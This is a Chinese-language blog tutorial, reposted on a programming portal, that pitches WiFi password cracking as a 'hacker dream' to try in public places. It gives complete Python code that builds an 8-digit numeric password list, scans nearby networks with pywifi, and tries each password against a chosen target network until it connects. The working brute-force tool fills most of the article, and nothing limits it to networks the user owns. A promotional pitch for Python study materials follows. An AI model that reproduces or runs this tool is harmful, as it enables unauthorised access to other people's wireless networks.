程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

完成你的黑客夢,我用Python來暴力破解了WiFi的密碼

編輯:Python

WiFi破解應該是我們每個人都有的黑客夢,在某個公共區域,打開電腦,宛如黑客帝國裡的操作一樣,真帥,哈哈

首先假如WiFi密碼是8位數,

1、首先我們需要生成一個密碼本來記錄所有的可能的熱點密碼,這個密碼本中,需要列舉所有的密碼的可能性;

2、然後,用 Python 進行自動化的測試密碼直到連接成功為止。

一、代碼實現

1、生成密碼本

密碼本的生成其實比較的簡單了啦。

思路其實就是對8個位置循環生成0,1。。。。。9的數字。

具體的代碼如下:(8個循環嵌套)

import osfile_name = "making_pwd.txt"f = open(file_name, "w+")# 打開文件for i in range(10): # 第一層循環 for j in range(10): # 第二層循環 for k in range(10): # 第三層循環 for q in range(10): # 第四層循環 for m in range(10): # 第五層循環 for n in range(10): # 第六層循環 for o in range(10): # 第七層循環 for p in range(10): # 第八層循環 insert_str = str(i) + str(j) + str(k) + str(q) + \ str(m) + str(n) + str(o) + str(p) # 數據的拼接以及數據類型的轉換。 print(insert_str) f.write(insert_str) # 寫入密碼 f.write("\n") # 一個密碼換一次行f.close()# 關閉文件print("一個密碼本生成完畢了!")

核心代碼就是這個循環嵌套,本質也是十分簡單的啦:

下面再展示一遍核心代碼

file_name = "making_pwd.txt"f = open(file_name, "w+")# 打開文件for i in range(10): # 第一層循環 for j in range(10): # 第二層循環 for k in range(10): # 第三層循環 for q in range(10): # 第四層循環 for m in range(10): # 第五層循環 for n in range(10): # 第六層循環 for o in range(10): # 第七層循環 for p in range(10): # 第八層循環 insert_str = str(i) + str(j) + str(k) + str(q) + \ str(m) + str(n) + str(o) + str(p) # 數據的拼接以及數據類型的轉換。 print(insert_str) f.write(insert_str) # 寫入密碼 f.write("\n") # 一個密碼換一次行f.close()

這樣生成的文件比較大,但是也沒有辦法了:

2、利用密碼本進行自動化的測試

首先說一句,我們需要安裝 pywifi 這個模塊,沒有這個模塊的小伙伴可以先安裝一下。

然後,我們呢,直接上完整的全部的代碼,代碼的解析在注釋裡面都有,注釋有詳細的代碼解釋:

import pywifiimport timefrom pywifi import const# 導入模塊# WiFi掃描模塊def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一個無線網卡 interface = wifi.interfaces()[0] # 開始掃描 interface.scan() # 顯示掃描的信息。 for i in range(4): time.sleep(1) print('\r掃描可用 WiFi 中,請稍後。。。(' + str(3 - i), end=')') print('\r掃描完成!\n' + '-' * 38) print('\r{:4}{:6}{}'.format('編號', '信號強度', 'wifi名')) # 掃描結果,scan_results()返回一個集,存放的是每個wifi對象 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解決亂碼問題 wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # 存入列表並按信號排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化輸出 while num < len(wifi_name_list): print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print('-' * 38) # 返回wifi列表 return wifi_name_list# WIFI破解模塊def wifi_password_crack(wifi_name): # 字典路徑 wifi_dic_path = input("請輸入本地用於WIFI暴力破解的密碼字典(txt格式,每個密碼占據1行)的路徑:") with open(wifi_dic_path, 'r') as f: # 遍歷密碼 for pwd in f: # 去除密碼的末尾換行符 pwd = pwd.strip('\n') # 創建wifi對象 wifi = pywifi.PyWiFi() # 創建網卡對象,為第一個wifi網卡 interface = wifi.interfaces()[0] # 斷開所有wifi連接 interface.disconnect() # 等待其斷開 while interface.status() == 4: # 當其處於連接狀態時,利用循環等待其斷開 pass # 創建連接文件(對象) profile = pywifi.Profile() # wifi名稱 profile.ssid = wifi_name # 需要認證 profile.auth = const.AUTH_ALG_OPEN # wifi默認加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密碼 profile.key = pwd # 刪除所有wifi連接文件 interface.remove_all_network_profiles() # 設置新的wifi連接文件 tmp_profile = interface.add_network_profile(profile) # 開始嘗試連接 interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: # 接口狀態為4代表連接成功(當嘗試時間大於1.5秒之後則為錯誤密碼,經測試測正確密碼一般都在1.5秒內連接,若要提高准確性可以設置為2s或以上,相應暴力破解速度就會變慢) if interface.status() == 4: print(f'\r連接成功!密碼為:{pwd}') exit(0) else: print(f'\r正在利用密碼 {pwd} 嘗試破解。', end='')# 主函數def main(): # 退出標致 exit_flag = 0 # 目標編號 target_num = -1 while not exit_flag: try: print('WiFi萬能鑰匙'.center(35, '-')) # 調用掃描模塊,返回一個排序後的wifi列表 wifi_list = wifi_scan() # 讓用戶選擇要破解的wifi編號,並對用戶輸入的編號進行判斷和異常處理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input('請選擇你要嘗試破解的wifi:')) # 如果要選擇的wifi編號在列表內,繼續二次判斷,否則重新輸入 if target_num in range(len(wifi_list)): # 二次確認 while not choose_exit_flag: try: choose = str(input(f'你選擇要破解的WiFi名稱是:{
wifi_list[target_num][1]},確定嗎?(Y/N)')) # 對用戶輸入進行小寫處理,並判斷 if choose.lower() == 'y': choose_exit_flag = 1 elif choose.lower() == 'n': break # 處理用戶其它字母輸入 else: print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 處理用戶非字母輸入 except ValueError: print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 退出破解 if choose_exit_flag == 1: break else: print('請重新輸入哦(*^▽^*)') except ValueError: print('只能輸入數字哦o(* ̄︶ ̄*)o') # 密碼破解,傳入用戶選擇的wifi名稱 wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise eif __name__ == '__main__': # main 函數 進行一個測試 main()

這裡需要注意下,我們需要手動選擇密碼本來進行測試,手動選擇密碼本!!

下面我們分模塊進行展示與解說:

導入模塊:

import pywifiimport timefrom pywifi import const# 導入模塊

這個是定義的使用的掃描WiFi的一個方法,這個方法實現的功能是掃描局域網范圍內部的所有可以連接的WiFi,然後打印出來:

# WiFi掃描模塊def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一個無線網卡 interface = wifi.interfaces()[0] # 開始掃描 interface.scan() # 顯示掃描的信息。 for i in range(4): time.sleep(1) print('\r掃描可用 WiFi 中,請稍後。。。(' + str(3 - i), end=')') print('\r掃描完成!\n' + '-' * 38) print('\r{:4}{:6}{}'.format('編號', '信號強度', 'wifi名')) # 掃描結果,scan_results()返回一個集,存放的是每個wifi對象 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解決亂碼問題 wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # 存入列表並按信號排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化輸出 while num < len(wifi_name_list): print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print('-' * 38) # 返回wifi列表 return wifi_name_list

這個是使用密碼本來進行密碼的自動化測試的函數:

# WIFI破解模塊def wifi_password_crack(wifi_name): # 字典路徑 wifi_dic_path = input("請輸入本地用於WIFI暴力破解的密碼字典(txt格式,每個密碼占據1行)的路徑:") with open(wifi_dic_path, 'r') as f: # 遍歷密碼 for pwd in f: # 去除密碼的末尾換行符 pwd = pwd.strip('\n') # 創建wifi對象 wifi = pywifi.PyWiFi() # 創建網卡對象,為第一個wifi網卡 interface = wifi.interfaces()[0] # 斷開所有wifi連接 interface.disconnect() # 等待其斷開 while interface.status() == 4: # 當其處於連接狀態時,利用循環等待其斷開 pass # 創建連接文件(對象) profile = pywifi.Profile() # wifi名稱 profile.ssid = wifi_name # 需要認證 profile.auth = const.AUTH_ALG_OPEN # wifi默認加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密碼 profile.key = pwd # 刪除所有wifi連接文件 interface.remove_all_network_profiles() # 設置新的wifi連接文件 tmp_profile = interface.add_network_profile(profile) # 開始嘗試連接 interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: # 接口狀態為4代表連接成功(當嘗試時間大於1.5秒之後則為錯誤密碼,經測試測正確密碼一般都在1.5秒內連接,若要提高准確性可以設置為2s或以上,相應暴力破解速度就會變慢) if interface.status() == 4: print(f'\r連接成功!密碼為:{pwd}') exit(0) else: print(f'\r正在利用密碼 {pwd} 嘗試破解。', end='')

這個函數是進行實際的操作來實現我們所想要的功能。

# 主函數def main(): # 退出標致 exit_flag = 0 # 目標編號 target_num = -1 while not exit_flag: try: print('WiFi萬能鑰匙'.center(35, '-')) # 調用掃描模塊,返回一個排序後的wifi列表 wifi_list = wifi_scan() # 讓用戶選擇要破解的wifi編號,並對用戶輸入的編號進行判斷和異常處理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input('請選擇你要嘗試破解的wifi:')) # 如果要選擇的wifi編號在列表內,繼續二次判斷,否則重新輸入 if target_num in range(len(wifi_list)): # 二次確認 while not choose_exit_flag: try: choose = str(input(f'你選擇要破解的WiFi名稱是:{
wifi_list[target_num][1]},確定嗎?(Y/N)')) # 對用戶輸入進行小寫處理,並判斷 if choose.lower() == 'y': choose_exit_flag = 1 elif choose.lower() == 'n': break # 處理用戶其它字母輸入 else: print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 處理用戶非字母輸入 except ValueError: print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 退出破解 if choose_exit_flag == 1: break else: print('請重新輸入哦(*^▽^*)') except ValueError: print('只能輸入數字哦o(* ̄︶ ̄*)o') # 密碼破解,傳入用戶選擇的wifi名稱 wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise e

執行代碼的一個接口:

if __name__ == '__main__': # main 函數 進行一個測試 main()

3、結果展示

四、後續總結

以上呢,就是我們的使用 Python 工具 Pycharm 來進行破解WiFi的密碼的一個案例的介紹,這種方式比較傻瓜式而且暴力,遇到復雜的密碼可能就不行了,耗時太多。

關於Python技術儲備

學好 Python 不論是就業還是做副業賺錢都不錯,但要學會 Python 還是要有一個學習規劃。最後大家分享一份全套的 Python 學習資料,給那些想學習 Python 的小伙伴們一點幫助!

一、Python所有方向的學習路線

Python所有方向的技術點做的整理,形成各個領域的知識點匯總,它的用處就在於,你可以按照上面的知識點去找對應的學習資源,保證自己學得較為全面。

二、Python必備開發工具

三、精品Python學習書籍

當我學到一定基礎,有自己的理解能力的時候,會去閱讀一些前輩整理的書籍或者手寫的筆記資料,這些筆記詳細記載了他們對一些技術點的理解,這些理解是比較獨到,可以學到不一樣的思路。

四、Python視頻合集

觀看零基礎學習視頻,看視頻學習是最快捷也是最有效果的方式,跟著視頻中老師的思路,從基礎到深入,還是很容易入門的。

五、實戰案例

光學理論是沒用的,要學會跟著一起敲,要動手實操,才能將自己的所學運用到實際當中去,這時候可以搞點實戰案例來學習。

六、Python練習題

檢查學習結果。

七、面試資料

我們學習Python必然是為了找到高薪的工作,下面這些面試題是來自阿裡、騰訊、字節等一線互聯網大廠最新的面試資料,並且有阿裡大佬給出了權威的解答,刷完這一套面試資料相信大家都能找到滿意的工作。

這份完整版的Python全套學習資料已經上傳CSDN,朋友們如果需要可以微信掃描下方CSDN官方認證二維碼免費領取【保證100%免費

Python資料、技術、課程、解答、咨詢也可以直接點擊下面名片,添加官方客服斯琪


  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved